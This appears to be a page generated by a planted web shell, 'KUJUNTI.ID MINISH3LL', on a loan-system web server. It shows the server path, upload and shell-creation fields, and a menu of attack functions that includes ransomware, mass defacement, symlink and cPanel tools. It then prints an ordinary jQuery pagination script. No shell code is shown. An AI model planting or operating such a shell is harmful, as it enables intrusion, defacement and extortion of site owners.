KUJUNTI.ID MINISH3LL
Path : /var/www/html/thb_loan_system/public/js/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/thb_loan_system/public/js/pagination.js


function getRouteParam() {
    var params = {};
    window.location.search.replace(
        /[?&]+([^=&]+)=([^&]*)/gi,
        function (str, key, value) {
            params[key] = value;
        }
    );
    return params;
}

function getBaseURL() {
    return window.location.origin + window.location.pathname;
}

function RefreshPageLimit(limit) {
    window.location.href =
        window.location.origin + window.location.pathname + "&limit=" + limit;
}

function genrateRouteParams(params) {
    return Object.keys(params)
        .map(function (key) {
            return key + "=" + params[key];
        })
        .join("&");
}

$("#pagination-limit").change(function () {
    let limit = $(this).val();
    let url = getBaseURL();
    let params = getRouteParam();
    params = { ...params, ...{ limit, page: 1 } };
    const fullURL = url + "?" + genrateRouteParams(params);
    location.href = fullURL;
});

© KUJUNTI.ID